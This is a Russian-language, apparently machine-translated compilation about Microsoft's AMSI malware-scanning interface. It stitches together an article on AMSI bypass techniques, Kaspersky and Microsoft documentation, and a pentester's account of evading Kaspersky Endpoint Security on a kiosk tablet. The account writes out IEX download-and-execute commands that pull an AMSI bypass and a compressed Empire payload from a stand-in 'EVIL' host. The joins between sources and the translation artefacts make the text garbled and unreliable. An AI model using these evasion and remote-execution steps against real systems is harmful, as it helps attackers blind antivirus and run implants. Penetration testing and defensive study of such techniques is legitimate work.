Корпорация Майкрософт разработала AMSI (интерфейс сканирования для защиты от вредоносных программ) как метод защиты от запуска распространенных вредоносных программ и защиты конечного пользователя. По умолчанию Защитник Windows взаимодействует с AMSI API для сканирования сценариев PowerShell, макросов VBA, JavaScript и сценариев с использованием технологии Windows Script Host во время выполнения, чтобы предотвратить произвольное выполнение кода. Однако другие антивирусные продукты могут поддерживать AMSI, поэтому организации не ограничены использованием защитника Windows.
Как работает AMSI
Когда пользователь выполняет сценарий или запускает PowerShell, AMSI.dll внедряется в пространство памяти процесса. Перед выполнением следующие два API используются антивирусом для сканирования буфера и строк на наличие признаков вредоносного ПО.
Если идентифицирована известная сигнатура, выполнение не начинается и появляется сообщение о том, что скрипт заблокирован антивирусным программным обеспечением. На следующей диаграмме показан процесс сканирования AMSI.
Уклонение от AMSI
Microsoft внедрила AMSI в качестве первого средства защиты от вредоносных программ. Поскольку сканирование основано на сигнатурах, красные команды и злоумышленники могут обойти AMSI, применяя различные тактики. Несмотря на то, что некоторые методы в их исходном состоянии заблокированы, изменение строк и переменных, кодирование и обфускация могут оживить даже самые старые тактики. Наступательные инструменты также поддерживают обходы AMSI, которые можно использовать в битвах с красными командами до выполнения любого сценария, но также могут быть развернуты ручные методы.
1. Понижение версии PowerShell
Несмотря на то, что Microsoft объявила Windows PowerShell 2.0 устаревшей, она не была удалена из операционной системы. Старые версии PowerShell не содержат элементов управления безопасностью, таких как защита AMSI, и могут использоваться как форма уклонения. Понижение версии PowerShell до более старой версии тривиально и требует выполнения следующей команды:
2. Кодировка Base64
Фабиан Мош использовал старый способ обхода AMSI, предложенный Мэттом Грэбером, чтобы доказать, что если кодировка base64 используется для строк (AmsiUtils и amsiInitFailed), которые запускают AMSI и декодируются во время выполнения, их можно использовать для обхода подписей Microsoft. Этот метод предотвращает возможность сканирования AMSI для текущего процесса, устанавливая флаг «amsiInitFailed».
Исходный обход AMSI
Кодировка Base64
3. Перехват
Том Карвер создал доказательство концепции в виде DLL-файла, который обходит AMSI, подключаясь к функции «AmsiScanBuffer». Затем «AmsiScanBuffer» будет выполняться с фиктивными параметрами. DLL необходимо внедрить в процесс PowerShell, который будет выполнять обход AMSI.
4. Исправление памяти
Дэниел Дагган выпустил обход AMSI, который исправляет функцию AmsiScanBuffer(), чтобы всегда возвращать AMSI_RESULT_CLEAN, что указывает на отсутствие обнаружения. Патч отображается в следующей строке:
По умолчанию версия PowerShell помечается. AMSITrigger можно использовать для обнаружения строк, помеченных AMSI, путем вызовов AmsiScanBuffer. Следующие строки были идентифицированы и должны быть замаскированы.
Обфускация кода, содержащегося в скрипте PowerShell, позволит обойти AMSI и выполнить исправление памяти.
Несколько другой подход к методу исправления памяти заключается в использовании других инструкций машинного языка (кодов операций), как это было продемонстрировано в статье для достижения результата AMSI_RESULT_CLEAN.
Пол Лейн выпустил альтернативный способ обхода, который изменяет инструкции функции AMSI_RESULT в памяти, чтобы предотвратить отправку содержимого защитнику Windows или любому другому поставщику AMSI.
5. Принудительная ошибка
Принудительный сбой инициализации AMSI (amsiInitFailed) приведет к тому, что для текущего процесса не будет инициировано сканирование. Первоначально это было раскрыто Мэттом Грэбером, и Microsoft разработала сигнатуру для предотвращения более широкого использования.
Отказ от прямого использования строк с использованием переменных может таким же образом обойти AMSI.
Поскольку для флага «amsiInitFailed» существует сигнатура, Адам Честер обнаружил альтернативный метод, который пытается вызвать ошибку, чтобы флаг был установлен законным способом, а не в консоли. Этот обход выделяет область памяти для «amsiContext», и поскольку для «amsiSession» установлено значение null, это приведет к ошибке. Обнаружение было описано в статье «Изучение PowerShell AMSI и уклонение от ведения журнала» на веб-сайте MDSec. Использование этого обхода без какого-либо запутывания не удастся, поскольку Microsoft создала подписи.
Однако запутанная версия этого обхода существует на веб-сайте amsi.fail, поддерживаемом Мелвином Лангвиком, и показана также ниже:
6. Изменение ключа реестра
Поставщики AMSI отвечают за процесс сканирования антивирусным продуктом и регистрируются в определенном месте реестра. GUID для Защитника Windows показан ниже:
Удаление раздела реестра поставщика AMSI отключит возможность Защитника Windows выполнять проверку AMSI и уклоняться от контроля. Однако удаление раздела реестра не считается скрытым подходом (при наличии достаточного контроля) и также требует повышенных прав.
7. Перехват DLL
Перехват DLL также может использоваться для обхода AMSI из пользовательского пространства, как это было описано SensePost. Единственное требование — создать незаконный файл amsi.dll и поместить его в ту же папку, что и 64-разрядная версия PowerShell, которую можно скопировать в доступный для записи каталог пользователя. SensePost выпустила код проверки концепции, который также показан ниже.
Выполнение PowerShell за пределами стандартного каталога загрузит файл amsi.dll, который содержит все необходимые функции для работы, однако AMSI не будет инициирован.
Инструменты
МИТРЕ АТТ&СК
Методы, продемонстрированные в этой статье, связаны с платформой MITRE.
Тактика
Техника
Митр
Выполнение
Интерпретатор команд и сценариев
T1059.001
Выполнение
Собственный API
T1106
Обход защиты
Внедрение динамической библиотеки
T1055.001
< td>Уклонение от защиты
Замаскированные файлы или информация
T1027
Уклонение от защиты
Ухудшение защиты: отключить или Изменить инструменты
T1562.001
Обход защиты
Перехват порядка поиска DLL
T1574.001
Command & Control
Кодирование данных
T1132.001
таблица>
Ютуб
Если вам интересно узнать больше о том, как Pentest Laboratories и наши индивидуальные сценарии кибератак могут повысить готовность вашей организации к киберугрозам, свяжитесь с нами.
Провайдер защиты AMSI предназначен для поддержки интерфейса сканирования на наличие вредоносных программ от Microsoft. Интерфейс проверки на вредоносное ПО (AMSI) позволяет сторонним приложениям с поддержкой AMSI отправлять объекты (например, скрипты PowerShell) в Kaspersky Endpoint Security для дополнительной проверки, а затем получать результаты проверки этих объектов. К сторонним приложениям могут относиться, например, приложения Microsoft Office (см. рисунок ниже). Подробнее об AMSI см. в документации Microsoft.
Поставщик защиты AMSI может только обнаружить угрозу и уведомить стороннее приложение об обнаруженной угрозе. Стороннее приложение после получения уведомления об угрозе не позволяет совершать вредоносные действия (например, завершает работу).
Пример работы AMSI
Провайдер защиты AMSI может отклонить запрос от стороннего приложения, например, если это приложение превышает максимальное количество запросов в течение заданного интервала. Kaspersky Endpoint Security отправляет на Сервер администрирования информацию об отклоненном запросе сторонней программы. Компонент AMSI Protection Provider не отклоняет запросы от тех сторонних приложений, для которых установлен флажок Не блокировать взаимодействие с AMSI Protection Provider
Поставщик защиты AMSI доступен для следующих операционных систем для рабочих станций и файловых серверов:
Windows 10 Домашняя/Профессиональная/Образовательная/Корпоративная;
Windows Server 2016 Essentials / Standard / Datacenter;
Windows Server 2019 Essentials / Standard / Datacenter.
Настройки компонента поставщика защиты AMSI
Этот флажок включает/отключает сканирование архивов в форматах RAR, ARJ, ZIP, CAB, LHA, JAR и ICE.
Сканировать дистрибутивы
Этот флажок включает/отключает сканирование сторонних дистрибутивов.
Форматы Scan Office
Этот флажок включает или отключает сканирование файлов Microsoft Office (DOC, DOCX, XLS, PPT и др.).
Файлы формата Office также содержат объекты OLE.
Не распаковывайте большие составные файлы
Если этот флажок установлен, Kaspersky Endpoint Security не проверяет составные файлы, если их размер превышает указанное значение.
Если этот флажок снят, Kaspersky Endpoint Security проверяет составные файлы всех размеров.
Kaspersky Endpoint Security проверяет большие файлы, извлекаемые из архивов, независимо от того, установлен ли флажок Не распаковывать большие составные файлы.
Компонент AMSI Protection позволяет приложениям Microsoft Office и другим сторонним программам отправлять запросы на проверку объектов на наличие вирусов и других угроз с помощью интерфейса сканирования Microsoft Windows Antimalware Scan Interface (AMSI). Дополнительные сведения об AMSI см. в документации Microsoft.
Если AMSI-защита включена, Kaspersky Security может проверять объект по AMSI-запросу и отправлять результат проверки программе, отправившей запрос. Получив уведомление об угрозе, стороннее приложение может предотвратить вредоносные действия (например, завершив работу).
Для работы компонента AMSI Protection на защищаемой виртуальной машине Легкий агент, установленный на этой виртуальной машине, должен быть подключен к SVM. При обрыве связи работа компонента AMSI-защита приостанавливается, запросы на проверку объектов не выполняются, информация о непроверенных объектах сохраняется в отчет, доступный в локальном интерфейсе Легкого агента для Windows.
Вы можете настроить параметры проверки объектов по запросам AMSI. Во время проверки Kaspersky Security может применять настроенную защиту и исключения из проверки.
Kaspersky Security может блокировать взаимодействие стороннего приложения с компонентом AMSI-защита и отклонять AMSI-запросы от стороннего приложения, например, если превышено максимальное количество запросов за временной интервал от этого приложения. В этом случае Kaspersky Security отправляет информацию об отклонении AMSI-запроса на Сервер администрирования Kaspersky Security Center. Если вы хотите, чтобы Kaspersky Security не отклонял запросы от программы, даже если превышено максимальное количество запросов, добавьте это приложение в список доверенных и настройте для него исключение Не блокировать взаимодействие с AMSI-защитой. р>
Установка и работа компонента AMSI Protection не поддерживается на виртуальных машинах с гостевыми операционными системами ниже Windows 10 и Windows Server 2016.
Интерфейс сканирования на вредоносные программы Windows (AMSI) — это универсальный стандарт интерфейса, который позволяет вашим приложениям и службам интегрироваться с любым продуктом для защиты от вредоносных программ, установленным на компьютере. AMSI обеспечивает расширенную защиту от вредоносных программ для ваших конечных пользователей и их данных, приложений и рабочих нагрузок.
AMSI не зависит от поставщика антивирусного ПО; он предназначен для использования наиболее распространенных методов сканирования и защиты от вредоносных программ, предоставляемых современными продуктами для защиты от вредоносных программ, которые можно интегрировать в приложения. Он поддерживает структуру вызовов, позволяющую сканировать файлы и память или потоки, проверять репутацию URL-адресов и IP-адресов источников контента и использовать другие методы.
AMSI также поддерживает понятие сеанса, чтобы поставщики антивирусных программ могли сопоставлять различные запросы на сканирование. Например, различные фрагменты вредоносной полезной нагрузки можно связать для принятия более обоснованного решения, чего было бы гораздо сложнее достичь, просто рассматривая эти фрагменты по отдельности.
Компоненты Windows, которые интегрируются с AMSI
Функция AMSI интегрирована в эти компоненты Windows 10.
Контроль учетных записей пользователей или UAC (повышение прав установки EXE, COM, MSI или ActiveX)
PowerShell (скрипты, интерактивное использование и динамическая оценка кода)
Узел сценариев Windows (wscript.exe и cscript.exe)
JavaScript и VBScript
Макросы Office VBA
Аудитория разработчиков и пример кода
Интерфейс сканирования на наличие вредоносных программ предназначен для использования двумя группами разработчиков.
Разработчики приложений, которые хотят отправлять запросы к антивирусным продуктам из своих приложений.
Сторонние производители продуктов для защиты от вредоносных программ, которые хотят, чтобы их продукты предлагали приложениям лучшие функции.
Начиная с Windows 10 версии 1903, если библиотека DLL поставщика AMSI не подписана Authenticode, она может не загружаться (в зависимости от конфигурации хост-компьютера). Полную информацию см. в интерфейсе IAntmalwareProvider.
Во время недавней встречи мне дали планшет Windows без установленных инструментов (пентеста) и попросили проверить его безопасность и проверить, как далеко я могу пойти, скомпрометировав его. У меня был собственный ноутбук, но мне не разрешалось напрямую подключаться к внутренней сети с его помощью. Тем не менее, я мог бы использовать его как C2, если бы мне удалось взломать планшет. Короче говоря, получить начальную оболочку было сложнее, чем владеть сетью из-за антивирусов, которые необходимо было обойти.
Настройка
Полностью исправленная Windows 10, работающая на планшете
Обновленная версия Kaspersky Endpoint Security 11 (KES11) на планшете
Google Chrome работает в режиме киоска/PoS на планшете
Прослушиватель Powershell Empire на C2
Перечисление
Однако сочетание клавиш CTRL+N для открытия новой страницы не было заблокировано, бинго! Мы получили новую страницу и доступ в Интернет, круто. Я перешел к строке URL и быстро использовал схему file:// для загрузки и открытия cmd.exe:
Вместо того, чтобы бежать прямо в терминал, который только что появился, я попытался открыть проводник Windows, чтобы получить доступ к файлам и общим ресурсам через графический интерфейс, щелкнув «Открыть местоположение файла» в загруженном файле. Ааааа, действие было отклонено, вероятно, объектом групповой политики.
Вернуться к терминалу:
Я просмотрел файлы и общие ресурсы и не нашел ничего интересного.
Вызовите имя продукта wmic, версию для перечисления установленных программ и связанных версий.
Запустите wmic qfe get, чтобы получить список исправлений.
Запуск сетевого пользователя my_user /domain (да, my_user был присоединен к домену для имитации внутренней атаки)
Запустил whoami /priv, чтобы просмотреть список моих привилегий.
Не нашел ничего интересного с точки зрения эксплойта, который позволил бы мне быстро выиграть. Я был присоединенным к домену пользователем без прав администратора, и к группам, к которым я принадлежал, применялось множество ограничительных объектов групповой политики. Что касается антивируса, была установлена версия Kaspersky Endpoint Security 11.0.0.6499, а также Защитник Windows.
Ошибка, ошибка, ошибка и еще раз успех
Одна из моих целей состояла в том, чтобы доказать, что я могу обойти AV, введя имперский имплантат и двигаться дальше. Поскольку этот тест не был красной командой и был ограничен по времени, я не копировал среду планшета для выполнения своих тестов. Итак, я начал с загрузки программы запуска Empire Powershell через зашифрованный канал с Powershell Invoke-Expression: IEX (New-Object Net.Webclient).downloadstring("https://EVIL/hello_there"), и это будет обнаружено, а не AV, но брандмауэром, который предположительно выполнял проверку SSL! Итак, мне нужна полезная нагрузка, которая могла бы хотя бы пройти через брандмауэр, прежде чем будет выполнена в памяти. Чтобы сэкономить вам время, я провел целый день, раз за разом терпя неудачу, обнаруживаясь либо брандмауэром, либо антивирусом, что очень обрадовало системных администраторов, но также утомило получение предупреждений.
Сжатие и исправление памяти — хорошая пара
Я знал, что на планшете установлен Защитник Windows, и KES11 должен взять на себя контроль над большей частью антивирусного сканирования. Однако я узнал на горьком опыте, что KES11 использует обнаружение AMSI атак на основе скриптов. На самом деле, на их сайте упоминается использование технологии AMSI, но только на странице Kaspersky Security для Windows Server:
Поддержка интерфейсов AMSI. Использование технологии AMSI, интегрированной в Microsoft Windows, позволило усовершенствовать механизм перехвата запуска скриптов на сервере. Повышена стабильность задачи Мониторинг скриптов, снижено влияние программы на окружение при перехвате скриптов и их блокировке в случае обнаружения угроз, а также значительно расширен объем задачи — теперь компонент Мониторинг скриптов работает не только со скриптами на JS и файлы VBS, а также файлы PS1. Функция доступна, если компонент «Мониторинг сценариев» установлен на серверах под управлением Microsoft Windows Server 2016 или более поздней версии.
Мой коллега недавно поделился отличной записью в блоге о том, как обойти/отключить интерфейс сканирования на наличие вредоносных программ (AMSI) без повышенных привилегий, исправив его в памяти с помощью DLL: Обход AMSI и выполнение ЛЮБОГО вредоносного кода powershell
Имея это в виду, нам сначала нужно обойти проверку дорожного движения, помните? На помощь приходит Invoke-Obfuscation. Достаточно было несколько раз сжать полезную нагрузку Empire, чтобы обойти это.
Сначала мы берем base64-часть нашего файла launcher.bat, сгенерированного Empire, декодируем его и отправляем в Invoke-Obfuscation . Для этого мы запускаем set SCRIPTBLOCK our_empire_base64decoded_payload :
Затем мы несколько раз запускаем COMPRESS\1, чтобы сжать полезную нагрузку:
Затем я успешно загрузил файл, чтобы загрузить его в память с помощью IEX. Но теперь, когда проверка трафика была обойдена, антивирус блокировал выполнение полезной нагрузки (неудивительно).
Во время этого выступления я узнал, что эвристики KES11 или обнаружение на основе сигнатур впервые сработали с моей полезной нагрузкой еще до того, как AMSI успела проверить сценарий. Мне пришлось сжимать полезную нагрузку ровно 4 раза, прежде чем она смогла обойти AV, а затем была обнаружена AMSI:
Все, что осталось сделать, это отключить AMSI, и все готово.Я разместил следующий код на веб-сервере и загрузил его на планшет с помощью IEX:
IEX (New-Object Net.Webclient).downloadstring("https://EVIL/amsi"), затем Bypass-AMSI .
Успешное выполнение
Теперь, когда полезная нагрузка сжата в 4 раза и AMSI отключена, мы загружаем полезную нагрузку и выполняем ее в памяти:
IEX (Новый объект Net.Webclient).downloadstring("https://EVIL/compressed4.txt")
На снимке экрана выше мы видим, что сжатие полезной нагрузки до 3 раз обнаруживается KES11. В четвертый раз полезная нагрузка проходит через AV, и поскольку AMSI отключен, мы получаем успешное выполнение: